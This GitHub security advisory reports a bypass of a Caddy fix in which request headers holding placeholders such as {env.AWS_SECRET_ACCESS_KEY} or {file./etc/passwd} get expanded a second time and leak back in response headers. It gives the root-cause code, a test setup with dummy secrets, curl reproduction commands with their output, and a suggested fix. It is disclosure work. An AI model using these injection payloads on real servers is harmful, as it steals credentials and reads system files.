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Caddy CVE-2026-30852 Fix Bypass

Moderate severity GitHub Reviewed Published May 13, 2026 in caddyserver/caddy • Updated May 19, 2026

Package

gomod github.com/caddyserver/caddy/v2 (Go)

Affected versions

>= 2.11.0, <= 2.11.2

Patched versions

None

Description

TL;DR

CVE-2026-30852 fixed double expansion in vars_regexp when the variable key is a placeholder (e.g. {http.vars.x}). The fix does NOT protect literal key names (e.g. tenant_id). An attacker injects {env.AWS_SECRET_ACCESS_KEY} or {file./etc/passwd} via a request header → Caddy expands it on the second pass → secrets leaked in response headers.

Affected: Caddy v2.11.0 through v2.11.2 (latest). All versions since the CVE-2026-30852 fix.

Root Cause

modules/caddyhttp/vars.go, lines 215-217:

valExpanded = varStr
if !fromPlaceholder {
    valExpanded = repl.ReplaceAll(varStr, "")  // ← SECOND EXPANSION
}

Same issue at line 358-360 in MatchVarsRE.

fromPlaceholder is false when the variable key is a literal string (not wrapped in {}). The fix only protects fromPlaceholder=true.

Expansion chain:

  1. Config: vars tenant_id {http.request.header.X-Tenant-ID}
  2. Request header: X-Tenant-ID: {env.SECRET}
  3. Pass 1 (VarsMiddleware.ServeHTTP, line 63): repl.ReplaceAll("{http.request.header.X-Tenant-ID}", "") → resolves to literal string {env.SECRET}. Stored in vars map.
  4. Pass 2 (VarsMatcher.MatchWithError, line 217): repl.ReplaceAll("{env.SECRET}", "") → resolves to the actual secret value.
  5. Leaked value reflected in response header X-Tenant-ID or forwarded to backend via reverse_proxy.

Impact

  • Environment variable disclosure: {env.AWS_SECRET_ACCESS_KEY}, {env.DATABASE_URL}, etc.
  • Arbitrary file read (up to 1MB): {file./etc/passwd}, {file./proc/self/environ}
  • System info: {system.hostname}, {system.os}
  • Full env dump in one request: {file./proc/self/environ}

Realistic Attack Scenario

API gateway pattern - Caddy captures a tenant ID header, validates it with vars_regexp, and reflects it in response headers or forwards to a backend. This is a common production pattern for multi-tenant routing.

# Caddyfile
:8080 {
    vars tenant_id {http.request.header.X-Tenant-ID}
    @has_tenant vars_regexp tenant tenant_id (.+)
    handle @has_tenant {
        header X-Tenant-ID "{re.tenant.1}"
        reverse_proxy tenant-backend:8080
    }
    respond "Missing X-Tenant-ID header" 400
}

# docker-compose.yml
services:
  caddy:
    image: caddy:2.11.2
    ports:
      - "8080:8080"
    volumes:
      - ./Caddyfile:/etc/caddy/Caddyfile:ro
    environment:
      - SECRET_API_KEY=sk-SUPER-SECRET-KEY-12345
      - DATABASE_URL=postgresql://admin:p4ssw0rd@db.internal:5432/production
      - AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
      - INTERNAL_TOKEN=eyJhbGciOiJIUzI1NiJ9.INTERNAL_ONLY

Attacker sends: X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}
Response contains: X-Tenant-ID: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

Reproduce

docker compose up -d
sleep 2

# Normal request — works as expected
curl -sI -H "X-Tenant-ID: acme-corp" http://localhost:8080/ | grep X-Tenant
# X-Tenant-Id: acme-corp

# Leak env var via response header
curl -sI -H "X-Tenant-ID: {env.SECRET_API_KEY}" http://localhost:8080/ | grep X-Tenant
# X-Tenant-Id: sk-SUPER-SECRET-KEY-12345

# Leak AWS credentials
curl -sI -H "X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}" http://localhost:8080/ | grep X-Tenant
# X-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

# Read arbitrary file
curl -sI -H "X-Tenant-ID: {file./etc/passwd}" http://localhost:8080/ | grep X-Tenant

# Dump ALL env vars (Linux)
curl -s -H "X-Tenant-ID: {file./proc/self/environ}" http://localhost:8080/

Confirmed Test Output (Caddy v2.11.2)

$ curl -sI -H "X-Tenant-ID: acme-corp" http://localhost:8080/ | grep -i x-tenant
X-Tenant-Id: acme-corp
X-Routed-To: tenant-acme-corp

$ curl -sI -H "X-Tenant-ID: {env.SECRET_API_KEY}" http://localhost:8080/ | grep -i x-tenant
X-Tenant-Id: sk-SUPER-SECRET-KEY-12345
X-Routed-To: tenant-sk-SUPER-SECRET-KEY-12345

$ curl -sI -H "X-Tenant-ID: {env.AWS_SECRET_ACCESS_KEY}" http://localhost:8080/ | grep -i x-tenant
X-Tenant-Id: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
X-Routed-To: tenant-wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

$ curl -sI -H "X-Tenant-ID: {file./etc/hostname}" http://localhost:8080/ | grep -i x-tenant
X-Tenant-Id: 06140d4a8645

Fix

Apply expansion guard to BOTH branches:

// vars.go line 215-217 — fix:
valExpanded = varStr
// REMOVE: if !fromPlaceholder {
//     valExpanded = repl.ReplaceAll(varStr, "")
// }

Or sanitize vars stored from user input before re-expansion.

References

@mholt mholt published to caddyserver/caddy May 13, 2026
Published to the GitHub Advisory Database May 19, 2026
Reviewed May 19, 2026
Last updated May 19, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity None
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

EPSS score

Weaknesses

Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')

The product constructs all or part of an expression language (EL) statement in a framework such as a Java Server Page (JSP) using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended EL statement before it is executed. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-wwhq-w58m-w29c

Source code

Credits

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